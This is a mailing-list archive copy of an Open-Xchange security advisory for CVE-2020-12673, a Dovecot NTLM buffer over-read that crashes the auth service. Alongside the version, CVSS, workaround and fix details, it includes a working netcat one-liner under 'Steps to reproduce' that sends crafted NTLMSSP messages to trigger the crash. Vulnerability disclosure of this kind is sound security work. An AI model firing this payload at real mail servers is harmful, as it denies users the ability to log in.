



Hash Suite - Windows password security audit tool. GUI, reports in PDF.  
[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 12 Aug 2020 16:10:04 +0300  
From: Aki Tuomi <aki.tuomi@...ecot.fi>  
To: oss-security <oss-security@...ts.openwall.com>,  
full-disclosure <full-disclosure@...ts.openwall.com>  
Subject: CVE-2020-12673: Dovecot IMAP server: Specially crafted NTLM package can crash auth service

Open-Xchange Security Advisory 2020-08-12

Affected product: Dovecot IMAP server  
Internal reference: DOP-1870 (Bug ID)  
Vulnerability type: CWE-789 (Uncontrolled Memory Allocation)  
Vulnerable version: 2.2  
Vulnerable component: auth  
Fixed version: 2.3.11.3  
Report confidence: Confirmed  
Solution status: Fix available  
Vendor notification: 2020-05-03  
CVE reference: CVE-2020-12673  
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerability Details:  
Dovecot's NTLM implementation does not correctly check message buffer size, which leads to reading past allocation which can lead to crash.

Risk:  
An adversary can use this vulnerability to crash dovecot auth process repeatedly, preventing login.

Steps to reproduce:  
(echo 'AUTH NTLM'; echo -ne  
'NTLMSSP\x00\x01\x00\x00\x00\x02\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'  
|  
base64 -w0 ;echo ;echo -ne  
'NTLMSSP\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AA\x00\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00orange\x00'|  
base64 -w0;echo ; echo QUIT) | nc 127.0.0.1 110

Workaround:  
Disable NTLM authentication.

Solution:  
Upgrade to fixed version.

Best regards,  
Aki Tuomi  
Open-Xchange oy

Download attachment "signature.asc" of type "application/pgp-signature" (489 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

